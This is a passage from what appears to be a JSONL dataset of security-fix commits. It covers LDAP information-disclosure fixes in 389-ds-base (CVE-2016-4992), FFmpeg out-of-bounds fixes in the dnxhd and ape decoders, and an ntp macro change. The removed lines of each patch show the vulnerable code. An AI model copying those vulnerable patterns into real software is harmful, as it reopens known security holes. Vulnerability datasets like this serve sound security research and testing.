int\t\t\t\tflags,\n+ int\t\t\t\t*rc /* return code */\n )\n { \n \tstruct backentry *e;\n \tint\tmanagedsait = 0;\n \tint\terr;\n \tldbm_instance *inst = (ldbm_instance *) be->be_instance_info;\n \tsize_t tries = 0;\n+\tint isroot = 0;\n+\tint op_type;\n+\tchar *errbuf = NULL;\n \n \t/* get the managedsait ldap message control */\n-\tslapi_pblock_get( pb, SLAPI_MANAGEDSAIT, &managedsait );\n+\tslapi_pblock_get(pb, SLAPI_MANAGEDSAIT, &managedsait);\n+\tslapi_pblock_get(pb, SLAPI_REQUESTOR_ISROOT, &isroot);\n+\tslapi_pblock_get(pb, SLAPI_OPERATION_TYPE, &op_type);\n \n \twhile ( (tries < LDBM_CACHE_RETRY_COUNT) && \n \t (e = dn2entry_ext( be, sdn, txn, flags & TOMBSTONE_INCLUDED, &err ))\n@@ -113,6 +119,9 @@ find_entry_internal_dn(\n \t\t\tif(check_entry_for_referral(pb, e->ep_entry, NULL, \"find_entry_internal_dn\"))\n \t\t\t{\n \t\t\t\tCACHE_RETURN( &inst->inst_cache, &e );\n+\t\t\t\tif (rc) { /* if check_entry_for_referral returns non-zero, result is sent. */\n+\t\t\t\t\t*rc = FE_RC_SENT_RESULT;\n+\t\t\t\t}\n \t\t\t\treturn( NULL );\n \t\t\t}\n \t\t}\n@@ -151,27 +160,89 @@ find_entry_internal_dn(\n \t\tstruct backentry *me;\n \t\tSlapi_DN ancestorsdn;\n \t\tslapi_sdn_init(&ancestorsdn);\n-\t\tme= dn2ancestor(pb->pb_backend,sdn,&ancestorsdn,txn,&err);\n+\t\tme = dn2ancestor(pb->pb_backend, sdn, &ancestorsdn, txn, &err, 1 /* allow_suffix */);\n \t\tif ( !managedsait && me != NULL ) {\n \t\t\t/* if the entry is a referral send the referral */\n \t\t\tif(check_entry_for_referral(pb, me->ep_entry, (char*)slapi_sdn_get_dn(&ancestorsdn), \"find_entry_internal_dn\"))\n \t\t\t{\n \t\t\t\tCACHE_RETURN( &inst->inst_cache, &me );\n \t\t\t\tslapi_sdn_done(&ancestorsdn);\n+\t\t\t\tif (rc) { /* if check_entry_for_referral returns non-zero, result is sent. */\n+\t\t\t\t\t*rc = FE_RC_SENT_RESULT;\n+\t\t\t\t}\n \t\t\t\treturn( NULL );\n \t\t\t}\n \t\t\t/* else fall through to no such object */\n \t\t}\n \n \t\t/* entry not found */\n-\t\tslapi_send_ldap_result( pb, ( 0 == err || DB_NOTFOUND == err ) ?\n-\t\t\tLDAP_NO_SUCH_OBJECT : ( LDAP_INVALID_DN_SYNTAX == err ) ?\n-\t\t\tLDAP_INVALID_DN_SYNTAX : LDAP_OPERATIONS_ERROR,\n-\t\t\t(char*)slapi_sdn_get_dn(&ancestorsdn), NULL, 0, NULL );\n+\t\tif ((0 == err) || (DB_NOTFOUND == err)) {\n+\t\t\tif (me && !isroot) {\n+\t\t\t\t/* If not root, you may not want to reveal it. */\n+\t\t\t\tint acl_type = -1;\n+\t\t\t\tint return_err = LDAP_NO_SUCH_OBJECT;\n+\t\t\t\terr = LDAP_SUCCESS;\n+\t\t\t\tswitch (op_type) {\n+\t\t\t\tcase SLAPI_OPERATION_ADD:\n+\t\t\t\t\tacl_type = SLAPI_ACL_ADD;\n+\t\t\t\t\treturn_err = LDAP_INSUFFICIENT_ACCESS;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_DELETE:\n+\t\t\t\t\tacl_type = SLAPI_ACL_DELETE;\n+\t\t\t\t\treturn_err = LDAP_INSUFFICIENT_ACCESS;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_MODDN:\n+\t\t\t\t\tacl_type = SLAPI_ACL_MODDN;\n+\t\t\t\t\treturn_err = LDAP_INSUFFICIENT_ACCESS;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_MODIFY:\n+\t\t\t\t\tacl_type = SLAPI_ACL_WRITE;\n+\t\t\t\t\treturn_err = LDAP_INSUFFICIENT_ACCESS;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_SEARCH:\n+\t\t\t\tcase SLAPI_OPERATION_COMPARE:\n+\t\t\t\t\treturn_err = LDAP_SUCCESS;\n+\t\t\t\t\tacl_type = SLAPI_ACL_READ;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_BIND:\n+\t\t\t\t\tacl_type = -1; /* skip acl check. acl is not set up for bind. */\n+\t\t\t\t\treturn_err = LDAP_INVALID_CREDENTIALS;\n+\t\t\t\t\tslapi_pblock_set(pb, SLAPI_PB_RESULT_TEXT, \"No such entry\");\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n+\t\t\t\tif (acl_type > 0) {\n+\t\t\t\t\terr = plugin_call_acl_plugin(pb, me->ep_entry, NULL, NULL, acl_type,\n+\t\t\t\t\t ACLPLUGIN_ACCESS_DEFAULT, &errbuf);\n+\t\t\t\t}\n+\t\t\t\tif (((acl_type > 0) && err) || (op_type == SLAPI_OPERATION_BIND)) {\n+\t\t\t\t\t/*\n+\t\t\t\t\t * Operations to be checked && ACL returns disallow.\n+\t\t\t\t\t * Not to disclose the info about the entry's existence,\n+\t\t\t\t\t * do not return the \"matched\" DN.\n+\t\t\t\t\t * Plus, the bind case returns LDAP_INAPPROPRIATE_AUTH.\n+\t\t\t\t\t */\n+\t\t\t\t\tslapi_send_ldap_result(pb, return_err, NULL, NULL, 0, NULL);\n+\t\t\t\t} else {\n+\t\t\t\t\tslapi_send_ldap_result(pb, LDAP_NO_SUCH_OBJECT,\n+\t\t\t\t\t\t(char*)slapi_sdn_get_dn(&ancestorsdn), NULL, 0, NULL);\n+\t\t\t\t}\n+\t\t\t} else {\n+\t\t\t\tslapi_send_ldap_result( pb, LDAP_NO_SUCH_OBJECT,\n+\t\t\t\t\t(char*)slapi_sdn_get_dn(&ancestorsdn), NULL, 0, NULL);\n+\t\t\t}\n+\t\t} else {\n+\t\t\tslapi_send_ldap_result( pb, ( LDAP_INVALID_DN_SYNTAX == err ) ?\n+\t\t\t\tLDAP_INVALID_DN_SYNTAX : LDAP_OPERATIONS_ERROR,\n+\t\t\t\t(char*)slapi_sdn_get_dn(&ancestorsdn), NULL, 0, NULL );\n+\t\t}\n+\t\tif (rc) {\n+\t\t\t*rc = FE_RC_SENT_RESULT;\n+\t\t}\n \t\tslapi_sdn_done(&ancestorsdn);\n \t\tCACHE_RETURN( &inst->inst_cache, &me );\n \t}\n \n+\tslapi_ch_free_string(&errbuf);\n \tLDAPDebug( LDAP_DEBUG_TRACE, \"<= find_entry_internal_dn not found (%s)\\n\",\n \t slapi_sdn_get_dn(sdn), 0, 0 );\n \treturn( NULL );\n@@ -183,11 +254,11 @@ find_entry_internal_dn(\n */\n static struct backentry *\n find_entry_internal_uniqueid(\n-\tSlapi_PBlock\t*pb,\n+ Slapi_PBlock\t*pb,\n backend *be,\n-\tconst char \t\t\t*uniqueid,\n+ const char \t\t\t*uniqueid,\n int\t\t\t\tlock,\n-\tback_txn\t\t*txn\n+ back_txn\t\t*txn\n )\n {\n \tldbm_instance *inst = (ldbm_instance *) be->be_instance_info;\n@@ -243,8 +314,9 @@ find_entry_internal(\n Slapi_Backend *be,\n const entry_address *addr,\n int\t\t\tlock,\n-\tback_txn *txn,\n-\tint flags\n+ back_txn *txn,\n+ int flags,\n+ int *rc\n )\n {\n \t/* check if we should search based on uniqueid or dn */\n@@ -261,11 +333,9 @@ find_entry_internal(\n \t\tLDAPDebug( LDAP_DEBUG_TRACE, \"=> find_entry_internal (dn=%s) lock %d\\n\",\n \t\t slapi_sdn_get_dn(addr->sdn), lock, 0 );\n \t\tif (addr->sdn) {\n-\t\t\tentry = find_entry_internal_dn (pb, be, addr->sdn, \n-\t\t\t lock, txn, flags);\n+\t\t\tentry = find_entry_internal_dn (pb, be, addr->sdn, lock, txn, flags, rc);\n \t\t} else {\n-\t\t\tLDAPDebug0Args( LDAP_DEBUG_ANY,\n-\t\t\t \"find_entry_internal: Null target dn\\n\" );\n+\t\t\tLDAPDebug0Args( LDAP_DEBUG_ANY, \"find_entry_internal: Null target dn\\n\" );\n \t\t}\n \n \t\tLDAPDebug0Args( LDAP_DEBUG_TRACE, \"<= find_entry_internal\\n\" );\n@@ -278,21 +348,23 @@ find_entry(\n Slapi_PBlock\t\t*pb,\n Slapi_Backend *be,\n const entry_address *addr,\n-\tback_txn *txn\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 0/*!lock*/, txn, 0/*flags*/ ) );\n+\treturn(find_entry_internal(pb, be, addr, 0/*!lock*/, txn, 0/*flags*/, rc));\n }\n \n struct backentry *\n find_entry2modify(\n Slapi_PBlock\t\t*pb,\n Slapi_Backend *be,\n const entry_address *addr,\n-\tback_txn *txn\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 1/*lock*/, txn, 0/*flags*/ ) );\n+\treturn(find_entry_internal(pb, be, addr, 1/*lock*/, txn, 0/*flags*/, rc));\n }\n \n /* New routines which do not do any referral stuff.\n@@ -304,21 +376,23 @@ find_entry_only(\n Slapi_PBlock\t\t*pb,\n Slapi_Backend *be,\n const entry_address *addr,\n-\tback_txn *txn\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 0/*!lock*/, txn, FE_REALLY_INTERNAL ) );\n+\treturn(find_entry_internal(pb, be, addr, 0/*!lock*/, txn, FE_REALLY_INTERNAL, rc));\n }\n \n struct backentry *\n find_entry2modify_only(\n Slapi_PBlock\t\t*pb,\n Slapi_Backend *be,\n const entry_address *addr,\n- back_txn *txn\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 1/*lock*/, txn, FE_REALLY_INTERNAL ) );\n+\treturn(find_entry_internal(pb, be, addr, 1/*lock*/, txn, 0 /* to check aci, disable INTERNAL */, rc));\n }\n \n struct backentry *\n@@ -327,10 +401,9 @@ find_entry2modify_only_ext(\n Slapi_Backend *be,\n const entry_address *addr,\n int flags,\n- back_txn *txn\n-\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 1/*lock*/, txn, \n-\t\t FE_REALLY_INTERNAL | flags ));\n+\treturn(find_entry_internal(pb, be, addr, 1/*lock*/, txn, FE_REALLY_INTERNAL | flags, rc));\n }", "sections": [{"section": "@@ -16,8 +16,8 @@\n #include \"back-ldbm.h\"\n \n \n-static struct backentry *find_entry_internal_dn(Slapi_PBlock *pb, backend *be, const Slapi_DN *sdn, int lock, back_txn *txn, int flags);\n-static struct backentry * find_entry_internal(Slapi_PBlock *pb, Slapi_Backend *be, const entry_address *addr, int lock, back_txn *txn, int flags);\n+static struct backentry *find_entry_internal_dn(Slapi_PBlock *pb, backend *be, const Slapi_DN *sdn, int lock, back_txn *txn, int flags, int *rc);\n+static struct backentry * find_entry_internal(Slapi_PBlock *pb, Slapi_Backend *be, const entry_address *addr, int lock, back_txn *txn, int flags, int *rc);\n /* The flags take these values */\n #define FE_TOMBSTONE_INCLUDED TOMBSTONE_INCLUDED /* :1 defined in back-ldbm.h */\n #define FE_REALLY_INTERNAL 0x2\n", "related": false}, {"section": "@@ -27,7 +27,7 @@ check_entry_for_referral(Slapi_PBlock *pb, Slapi_Entry *entry, char *matched, co\n {\n \tint rc=0, i=0, numValues=0;\n \tSlapi_Attr *attr;\n-\tSlapi_Value *val=NULL;\t\n+\tSlapi_Value *val=NULL;\n \tstruct berval **refscopy=NULL;\n \tstruct berval **url=NULL;\n \n", "related": false}, {"section": "@@ -80,22 +80,28 @@ check_entry_for_referral(Slapi_PBlock *pb, Slapi_Entry *entry, char *matched, co\n \n static struct backentry *\n find_entry_internal_dn(\n-\tSlapi_PBlock\t*pb,\n+ Slapi_PBlock\t*pb,\n backend\t\t\t*be,\n const Slapi_DN *sdn,\n int\t\t\t\tlock,\n-\tback_txn\t\t*txn,\n-\tint\t\t\t\tflags\n+ back_txn\t\t*txn,\n+ int\t\t\t\tflags,\n+ int\t\t\t\t*rc /* return code */\n )\n { \n \tstruct backentry *e;\n \tint\tmanagedsait = 0;\n \tint\terr;\n \tldbm_instance *inst = (ldbm_instance *) be->be_instance_info;\n \tsize_t tries = 0;\n+\tint isroot = 0;\n+\tint op_type;\n+\tchar *errbuf = NULL;\n \n \t/* get the managedsait ldap message control */\n-\tslapi_pblock_get( pb, SLAPI_MANAGEDSAIT, &managedsait );\n+\tslapi_pblock_get(pb, SLAPI_MANAGEDSAIT, &managedsait);\n+\tslapi_pblock_get(pb, SLAPI_REQUESTOR_ISROOT, &isroot);\n+\tslapi_pblock_get(pb, SLAPI_OPERATION_TYPE, &op_type);\n \n \twhile ( (tries < LDBM_CACHE_RETRY_COUNT) && \n \t (e = dn2entry_ext( be, sdn, txn, flags & TOMBSTONE_INCLUDED, &err ))\n", "related": false}, {"section": "@@ -113,6 +119,9 @@ find_entry_internal_dn(\n \t\t\tif(check_entry_for_referral(pb, e->ep_entry, NULL, \"find_entry_internal_dn\"))\n \t\t\t{\n \t\t\t\tCACHE_RETURN( &inst->inst_cache, &e );\n+\t\t\t\tif (rc) { /* if check_entry_for_referral returns non-zero, result is sent. */\n+\t\t\t\t\t*rc = FE_RC_SENT_RESULT;\n+\t\t\t\t}\n \t\t\t\treturn( NULL );\n \t\t\t}\n \t\t}\n", "related": false}, {"section": "@@ -151,27 +160,89 @@ find_entry_internal_dn(\n \t\tstruct backentry *me;\n \t\tSlapi_DN ancestorsdn;\n \t\tslapi_sdn_init(&ancestorsdn);\n-\t\tme= dn2ancestor(pb->pb_backend,sdn,&ancestorsdn,txn,&err);\n+\t\tme = dn2ancestor(pb->pb_backend, sdn, &ancestorsdn, txn, &err, 1 /* allow_suffix */);\n \t\tif ( !managedsait && me != NULL ) {\n \t\t\t/* if the entry is a referral send the referral */\n \t\t\tif(check_entry_for_referral(pb, me->ep_entry, (char*)slapi_sdn_get_dn(&ancestorsdn), \"find_entry_internal_dn\"))\n \t\t\t{\n \t\t\t\tCACHE_RETURN( &inst->inst_cache, &me );\n \t\t\t\tslapi_sdn_done(&ancestorsdn);\n+\t\t\t\tif (rc) { /* if check_entry_for_referral returns non-zero, result is sent. */\n+\t\t\t\t\t*rc = FE_RC_SENT_RESULT;\n+\t\t\t\t}\n \t\t\t\treturn( NULL );\n \t\t\t}\n \t\t\t/* else fall through to no such object */\n \t\t}\n \n \t\t/* entry not found */\n-\t\tslapi_send_ldap_result( pb, ( 0 == err || DB_NOTFOUND == err ) ?\n-\t\t\tLDAP_NO_SUCH_OBJECT : ( LDAP_INVALID_DN_SYNTAX == err ) ?\n-\t\t\tLDAP_INVALID_DN_SYNTAX : LDAP_OPERATIONS_ERROR,\n-\t\t\t(char*)slapi_sdn_get_dn(&ancestorsdn), NULL, 0, NULL );\n+\t\tif ((0 == err) || (DB_NOTFOUND == err)) {\n+\t\t\tif (me && !isroot) {\n+\t\t\t\t/* If not root, you may not want to reveal it. */\n+\t\t\t\tint acl_type = -1;\n+\t\t\t\tint return_err = LDAP_NO_SUCH_OBJECT;\n+\t\t\t\terr = LDAP_SUCCESS;\n+\t\t\t\tswitch (op_type) {\n+\t\t\t\tcase SLAPI_OPERATION_ADD:\n+\t\t\t\t\tacl_type = SLAPI_ACL_ADD;\n+\t\t\t\t\treturn_err = LDAP_INSUFFICIENT_ACCESS;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_DELETE:\n+\t\t\t\t\tacl_type = SLAPI_ACL_DELETE;\n+\t\t\t\t\treturn_err = LDAP_INSUFFICIENT_ACCESS;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_MODDN:\n+\t\t\t\t\tacl_type = SLAPI_ACL_MODDN;\n+\t\t\t\t\treturn_err = LDAP_INSUFFICIENT_ACCESS;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_MODIFY:\n+\t\t\t\t\tacl_type = SLAPI_ACL_WRITE;\n+\t\t\t\t\treturn_err = LDAP_INSUFFICIENT_ACCESS;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_SEARCH:\n+\t\t\t\tcase SLAPI_OPERATION_COMPARE:\n+\t\t\t\t\treturn_err = LDAP_SUCCESS;\n+\t\t\t\t\tacl_type = SLAPI_ACL_READ;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase SLAPI_OPERATION_BIND:\n+\t\t\t\t\tacl_type = -1; /* skip acl check. acl is not set up for bind. */\n+\t\t\t\t\treturn_err = LDAP_INVALID_CREDENTIALS;\n+\t\t\t\t\tslapi_pblock_set(pb, SLAPI_PB_RESULT_TEXT, \"No such entry\");\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n+\t\t\t\tif (acl_type > 0) {\n+\t\t\t\t\terr = plugin_call_acl_plugin(pb, me->ep_entry, NULL, NULL, acl_type,\n+\t\t\t\t\t ACLPLUGIN_ACCESS_DEFAULT, &errbuf);\n+\t\t\t\t}\n+\t\t\t\tif (((acl_type > 0) && err) || (op_type == SLAPI_OPERATION_BIND)) {\n+\t\t\t\t\t/*\n+\t\t\t\t\t * Operations to be checked && ACL returns disallow.\n+\t\t\t\t\t * Not to disclose the info about the entry's existence,\n+\t\t\t\t\t * do not return the \"matched\" DN.\n+\t\t\t\t\t * Plus, the bind case returns LDAP_INAPPROPRIATE_AUTH.\n+\t\t\t\t\t */\n+\t\t\t\t\tslapi_send_ldap_result(pb, return_err, NULL, NULL, 0, NULL);\n+\t\t\t\t} else {\n+\t\t\t\t\tslapi_send_ldap_result(pb, LDAP_NO_SUCH_OBJECT,\n+\t\t\t\t\t\t(char*)slapi_sdn_get_dn(&ancestorsdn), NULL, 0, NULL);\n+\t\t\t\t}\n+\t\t\t} else {\n+\t\t\t\tslapi_send_ldap_result( pb, LDAP_NO_SUCH_OBJECT,\n+\t\t\t\t\t(char*)slapi_sdn_get_dn(&ancestorsdn), NULL, 0, NULL);\n+\t\t\t}\n+\t\t} else {\n+\t\t\tslapi_send_ldap_result( pb, ( LDAP_INVALID_DN_SYNTAX == err ) ?\n+\t\t\t\tLDAP_INVALID_DN_SYNTAX : LDAP_OPERATIONS_ERROR,\n+\t\t\t\t(char*)slapi_sdn_get_dn(&ancestorsdn), NULL, 0, NULL );\n+\t\t}\n+\t\tif (rc) {\n+\t\t\t*rc = FE_RC_SENT_RESULT;\n+\t\t}\n \t\tslapi_sdn_done(&ancestorsdn);\n \t\tCACHE_RETURN( &inst->inst_cache, &me );\n \t}\n \n+\tslapi_ch_free_string(&errbuf);\n \tLDAPDebug( LDAP_DEBUG_TRACE, \"<= find_entry_internal_dn not found (%s)\\n\",\n \t slapi_sdn_get_dn(sdn), 0, 0 );\n \treturn( NULL );\n", "related": false}, {"section": "@@ -183,11 +254,11 @@ find_entry_internal_dn(\n */\n static struct backentry *\n find_entry_internal_uniqueid(\n-\tSlapi_PBlock\t*pb,\n+ Slapi_PBlock\t*pb,\n backend *be,\n-\tconst char \t\t\t*uniqueid,\n+ const char \t\t\t*uniqueid,\n int\t\t\t\tlock,\n-\tback_txn\t\t*txn\n+ back_txn\t\t*txn\n )\n {\n \tldbm_instance *inst = (ldbm_instance *) be->be_instance_info;\n", "related": false}, {"section": "@@ -243,8 +314,9 @@ find_entry_internal(\n Slapi_Backend *be,\n const entry_address *addr,\n int\t\t\tlock,\n-\tback_txn *txn,\n-\tint flags\n+ back_txn *txn,\n+ int flags,\n+ int *rc\n )\n {\n \t/* check if we should search based on uniqueid or dn */\n", "related": false}, {"section": "@@ -261,11 +333,9 @@ find_entry_internal(\n \t\tLDAPDebug( LDAP_DEBUG_TRACE, \"=> find_entry_internal (dn=%s) lock %d\\n\",\n \t\t slapi_sdn_get_dn(addr->sdn), lock, 0 );\n \t\tif (addr->sdn) {\n-\t\t\tentry = find_entry_internal_dn (pb, be, addr->sdn, \n-\t\t\t lock, txn, flags);\n+\t\t\tentry = find_entry_internal_dn (pb, be, addr->sdn, lock, txn, flags, rc);\n \t\t} else {\n-\t\t\tLDAPDebug0Args( LDAP_DEBUG_ANY,\n-\t\t\t \"find_entry_internal: Null target dn\\n\" );\n+\t\t\tLDAPDebug0Args( LDAP_DEBUG_ANY, \"find_entry_internal: Null target dn\\n\" );\n \t\t}\n \n \t\tLDAPDebug0Args( LDAP_DEBUG_TRACE, \"<= find_entry_internal\\n\" );\n", "related": false}, {"section": "@@ -278,21 +348,23 @@ find_entry(\n Slapi_PBlock\t\t*pb,\n Slapi_Backend *be,\n const entry_address *addr,\n-\tback_txn *txn\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 0/*!lock*/, txn, 0/*flags*/ ) );\n+\treturn(find_entry_internal(pb, be, addr, 0/*!lock*/, txn, 0/*flags*/, rc));\n }\n \n struct backentry *\n find_entry2modify(\n Slapi_PBlock\t\t*pb,\n Slapi_Backend *be,\n const entry_address *addr,\n-\tback_txn *txn\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 1/*lock*/, txn, 0/*flags*/ ) );\n+\treturn(find_entry_internal(pb, be, addr, 1/*lock*/, txn, 0/*flags*/, rc));\n }\n \n /* New routines which do not do any referral stuff.\n", "related": false}, {"section": "@@ -304,21 +376,23 @@ find_entry_only(\n Slapi_PBlock\t\t*pb,\n Slapi_Backend *be,\n const entry_address *addr,\n-\tback_txn *txn\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 0/*!lock*/, txn, FE_REALLY_INTERNAL ) );\n+\treturn(find_entry_internal(pb, be, addr, 0/*!lock*/, txn, FE_REALLY_INTERNAL, rc));\n }\n \n struct backentry *\n find_entry2modify_only(\n Slapi_PBlock\t\t*pb,\n Slapi_Backend *be,\n const entry_address *addr,\n- back_txn *txn\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 1/*lock*/, txn, FE_REALLY_INTERNAL ) );\n+\treturn(find_entry_internal(pb, be, addr, 1/*lock*/, txn, 0 /* to check aci, disable INTERNAL */, rc));\n }\n \n struct backentry *\n", "related": false}, {"section": "@@ -327,10 +401,9 @@ find_entry2modify_only_ext(\n Slapi_Backend *be,\n const entry_address *addr,\n int flags,\n- back_txn *txn\n-\n+ back_txn *txn,\n+ int *rc\n )\n {\n-\treturn( find_entry_internal( pb, be, addr, 1/*lock*/, txn, \n-\t\t FE_REALLY_INTERNAL | flags ));\n+\treturn(find_entry_internal(pb, be, addr, 1/*lock*/, txn, FE_REALLY_INTERNAL | flags, rc));\n }", "related": false}]} +{"owner": "389ds", "repo": "389-ds-base", "language": "C", "file_name": "ldap/servers/slapd/back-ldbm/vlv_srch.c", "commit_id": "0b932d4b926d46ac5060f02617330dc444e06da1", "commit_message": "Bug 1347760 - CVE-2016-4992 389-ds-base: Information disclosure via repeated use of LDAP ADD operation, etc.\n\nDescription: If a bind user has no rights, it should not disclose\nany information including the existence of the entry.\n\nFix description:\n1) ALREADY_EXISTS in add -- If to be added entry is found existing\n in ldbm_back_add, it checks the ACI and if there is no rights,\n it returns INSUFFICIENT_ACCESS instead of ALREADY_EXISTS.\n2) NO_SUCH_OBJECT in other update operations -- If the target entry\n is found not existing, it checks the ancestor entry's access\n rights in find_entry. If it is not allowed to access the subtree,\n it returns INSUFFICIENT_ACCESS instead of NO_SUC_OBJECT. Plus,\n it supresses the \"Matched\" ancestor message.\n3) NO_SUCH_OBJECT in search -- If a bind entry has no rights to read\n a subtree, it returns no search results with SUCCESS. It should\n be applied to the no existing subtree if the bind entry has no\n rights to the super tree.\n4) If bind fails because of the non-existence of the bind user or\n the parent nodes, the bind returns LDAP_INVALID_CREDENTIALS to\n the client with no other information.\n The detailed cause is logged in the access log as follows:\n\t RESULT err=49 .. etime=0 - No such suffix ()\n\t RESULT err=49 .. etime=0 - Invalid credentials\n\t RESULT err=49 .. etime=0 - No such entry\n\nhttps://bugzilla.redhat.com/show_bug.cgi?id=1347760\n\nReviewed by lkrispen@redhat.com, mreynolds@redhat.com, and tbordaz@redhat.com.\nThank you!!!", "patch": "@@ -162,7 +162,7 @@ vlvSearch_init(struct vlvSearch* p, Slapi_PBlock *pb, const Slapi_Entry *e, ldbm\n \n addr.sdn = p->vlv_base;\n addr.uniqueid = NULL;\n- e = find_entry( pb, inst->inst_be, &addr, &txn );\n+ e = find_entry(pb, inst->inst_be, &addr, &txn, NULL);\n /* Check to see if the entry is absent. If it is, mark this search\n * as not initialized */\n if (NULL == e) {", "sections": [{"section": "@@ -162,7 +162,7 @@ vlvSearch_init(struct vlvSearch* p, Slapi_PBlock *pb, const Slapi_Entry *e, ldbm\n \n addr.sdn = p->vlv_base;\n addr.uniqueid = NULL;\n- e = find_entry( pb, inst->inst_be, &addr, &txn );\n+ e = find_entry(pb, inst->inst_be, &addr, &txn, NULL);\n /* Check to see if the entry is absent. If it is, mark this search\n * as not initialized */\n if (NULL == e) {", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavcodec/dnxhddec.c", "commit_id": "f31fc4755f69ab26bf6e8be47875b7dcede8e29e", "commit_message": "avcodec/dnxhddec: Move mb height check out of non hr branch\n\nFixes: out of array access\nFixes: poc.dnxhd\n\nFound-by: Bingchang, Liu@VARAS of IIE\nSigned-off-by: Michael Niedermayer \n(cherry picked from commit 296debd213bd6dce7647cedd34eb64e5b94cdc92)\nSigned-off-by: Michael Niedermayer ", "patch": "@@ -278,14 +278,18 @@ static int dnxhd_decode_header(DNXHDContext *ctx, AVFrame *frame,\n if (header_prefix == DNXHD_HEADER_HR2) {\n ctx->data_offset = 0x170 + (ctx->mb_height << 2);\n } else {\n- if (ctx->mb_height > 68 ||\n- (ctx->mb_height << frame->interlaced_frame) > (ctx->height + 15) >> 4) {\n+ if (ctx->mb_height > 68) {\n av_log(ctx->avctx, AV_LOG_ERROR,\n \"mb height too big: %d\\n\", ctx->mb_height);\n return AVERROR_INVALIDDATA;\n }\n ctx->data_offset = 0x280;\n }\n+ if ((ctx->mb_height << frame->interlaced_frame) > (ctx->height + 15) >> 4) {\n+ av_log(ctx->avctx, AV_LOG_ERROR,\n+ \"mb height too big: %d\\n\", ctx->mb_height);\n+ return AVERROR_INVALIDDATA;\n+ }\n \n if (buf_size < ctx->data_offset) {\n av_log(ctx->avctx, AV_LOG_ERROR,", "sections": [{"section": "@@ -278,14 +278,18 @@ static int dnxhd_decode_header(DNXHDContext *ctx, AVFrame *frame,\n if (header_prefix == DNXHD_HEADER_HR2) {\n ctx->data_offset = 0x170 + (ctx->mb_height << 2);\n } else {\n- if (ctx->mb_height > 68 ||\n- (ctx->mb_height << frame->interlaced_frame) > (ctx->height + 15) >> 4) {\n+ if (ctx->mb_height > 68) {\n av_log(ctx->avctx, AV_LOG_ERROR,\n \"mb height too big: %d\\n\", ctx->mb_height);\n return AVERROR_INVALIDDATA;\n }\n ctx->data_offset = 0x280;\n }\n+ if ((ctx->mb_height << frame->interlaced_frame) > (ctx->height + 15) >> 4) {\n+ av_log(ctx->avctx, AV_LOG_ERROR,\n+ \"mb height too big: %d\\n\", ctx->mb_height);\n+ return AVERROR_INVALIDDATA;\n+ }\n \n if (buf_size < ctx->data_offset) {\n av_log(ctx->avctx, AV_LOG_ERROR,", "related": false}]} +{"owner": "ntp-project", "repo": "ntp", "language": "C", "file_name": "include/ntp.h", "commit_id": "5f295cd05c3c136d39f5b3e500a2d781bdbb59c8", "commit_message": "[Bug 2382] Implement LOGTOD using ldexp() instead of shifting", "patch": "@@ -156,10 +156,9 @@ typedef char s_char;\n #define SQUARE(x) ((x) * (x))\n #define SQRT(x) (sqrt(x))\n #define DIFF(x, y) (SQUARE((x) - (y)))\n-#define LOGTOD(a)\t((a) < 0 ? 1. / (1L << -(a)) : \\\n-\t\t\t 1L << (int)(a)) /* log2 to double */\n+#define LOGTOD(a)\tldexp(1., (int)(a)) /* log2 to double */\n #define UNIVAR(x)\t(SQUARE(.28867513 * LOGTOD(x))) /* std uniform distr */\n-#define ULOGTOD(a)\t(1L << (int)(a)) /* ulog2 to double */\n+#define ULOGTOD(a)\tldexp(1., (int)(a)) /* ulog2 to double */\n \n #define\tEVENT_TIMEOUT\t0\t/* one second, that is */\n ", "sections": [{"section": "@@ -156,10 +156,9 @@ typedef char s_char;\n #define SQUARE(x) ((x) * (x))\n #define SQRT(x) (sqrt(x))\n #define DIFF(x, y) (SQUARE((x) - (y)))\n-#define LOGTOD(a)\t((a) < 0 ? 1. / (1L << -(a)) : \\\n-\t\t\t 1L << (int)(a)) /* log2 to double */\n+#define LOGTOD(a)\tldexp(1., (int)(a)) /* log2 to double */\n #define UNIVAR(x)\t(SQUARE(.28867513 * LOGTOD(x))) /* std uniform distr */\n-#define ULOGTOD(a)\t(1L << (int)(a)) /* ulog2 to double */\n+#define ULOGTOD(a)\tldexp(1., (int)(a)) /* ulog2 to double */\n \n #define\tEVENT_TIMEOUT\t0\t/* one second, that is */\n ", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavcodec/apedec.c", "commit_id": "ba4beaf6149f7241c8bd85fe853318c2f6837ad0", "commit_message": "avcodec/apedec: Fix integer overflow\n\nFixes: out of array access\nFixes: PoC.ape and others\n\nFound-by: Bingchang, Liu@VARAS of IIE\nSigned-off-by: Michael Niedermayer ", "patch": "@@ -1412,6 +1412,7 @@ static int ape_decode_frame(AVCodecContext *avctx, void *data,\n int32_t *sample24;\n int i, ch, ret;\n int blockstodecode;\n+ 